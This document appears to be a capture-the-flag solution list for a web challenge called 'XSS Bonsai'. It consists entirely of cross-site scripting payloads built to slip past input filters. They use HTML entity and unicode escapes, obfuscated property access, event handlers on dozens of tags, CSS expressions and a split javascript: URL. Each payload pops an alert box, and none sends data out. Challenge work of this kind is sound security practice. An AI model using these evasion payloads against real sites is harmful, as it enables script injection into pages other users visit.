XSS Bonsai (aka. Hakoniwa XSS Reloaded) [Web500]

";parent['aaaalert'.substring(-(~[]+~[]+~[]))]('aaaXSS'.substring(-(~[]+~[]+~[])))//

\";frames['zzzalert'.slice(-(~[]+~[]+~[]))]('zzzXSS'.slice(-(~[]+~[]+~[])))//

'&#000045alert(&#000039XSS')-'

")};\u0066rames["xxxalert".\u0073lice(-(~[]+~[]+~[]))]("xxxXSS".\u0073lice(-(~[]+~[]+~[])))//

\x3Cimg\x09src=/\x09onerror\x3dalert(\x27XSS')//

\u003Cimg\u0009src\u003d/\u0009onerror\u003dalert\u0028\u0027XSS'\u0029//

<strike/onmouseover=&#x00005Cu0061lert('&#x00005Cu0058SS')>///

<h1/onmousedown=&#x0005Cu0061lert('&#x0005Cu0058SS')>///

<h2/onmouseup=&#x005Cu0061lert('&#x005Cu0058SS')>///

<h3/onmousemove=&#x05Cu0061lert('&#x05Cu0058SS')>///

<h4/onmouseenter=&#x5Cu0061lert('&#x5Cu0058SS')>///

<h5/onmouseleave=&#000092u0061lert('&#000092u0058SS')>///

<h6/onmouseout=&#00092u0061lert('&#00092u0058SS')>///

<abbr/oncontextmenu=&#0092u0061lert('&#0092u0058SS')>///

<acronym/ondblclick=&#092u0061lert('&#092u0058SS')>///

<address/onclick=&#92u0061lert('&#92u0058SS')>///

<isindex/onfocusin=&#x00061lert('&#x00058SS')>

<textarea/onfocus=&#x0061lert('&#x0058SS')>

<marquee/onscroll=&#x061lert('&#x058SS')>///

<select/onkeypress=&#x61lert('&#x58SS')>

<strong/contenteditable/oncopy=&#000097lert('&#000088SS')>///

<img/src='/'onerror=&#00097lert('&#00088SS')>

<button/onkeydown=&#0097lert('&#0088SS')>///

<input/onpaste=&#097lert('&#088SS')>

<span/tabindex='999'/onblur=[]&#00045alert(&#00039XSS')>///

<bgsound/onpropertychange=[]&#0045alert(&#0039XSS')>

<div/style=style:expression([]&#045alert(&#039XSS'))>

<script>\u0070arent['nnnalert'.\u0073ubstring(-(~[]+~[]+~[]))]('mmmXSS'.\u0073ubstring(-(~[]+~[]+~[])))//</script>

<a/href="javas	cript:alert('XSS')">///

/mk